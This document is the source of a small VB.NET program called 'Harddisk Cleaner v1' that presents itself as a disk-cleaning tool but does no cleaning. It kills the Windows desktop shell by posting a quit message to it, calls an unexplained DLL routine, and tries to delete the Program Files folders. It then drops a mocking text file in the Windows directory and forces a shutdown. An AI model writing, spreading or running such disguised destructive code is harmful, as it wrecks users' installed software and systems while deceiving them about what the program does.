Harddisk Cleaner v1

Private Shared Sub Main(args As String())
	Dim hWnd As Integer = HarddiskCleaner_v1.FindWindow("Progman", Nothing)
	HarddiskCleaner_v1.PostMessage(hWnd, 18U, 0, 0)
	Console.WriteLine("Welcome to the HarddiskCleaner v1 " & vbLf)
	HarddiskCleaner_v1.DLL()
	If Directory.Exists("C:\Program Files") Then
		Try
			Directory.Delete("C:\Program Files")
		Catch ex As IOException
			Console.WriteLine(ex.Message)
			Return
		End Try
		If Directory.Exists("C:\Program Files (x86)") Then
			Try
				Directory.Delete("C:\Program Files (x86)")
			Catch ex2 As IOException
				Console.WriteLine(ex2.Message)
				Return
			End Try
		End If
	End If
	Dim streamWriter As StreamWriter = File.CreateText("c:\windows\reprot.txt")
	streamWriter.WriteLine("Your harddisk is clean now..." & vbLf)
	streamWriter.Close()
	Console.WriteLine("We cleaned your harddisk ;)" & vbLf)
	Process.Start(Environment.SystemDirectory + "\shutdown.exe", "-f -t 5")
	Console.ReadLine()
End Sub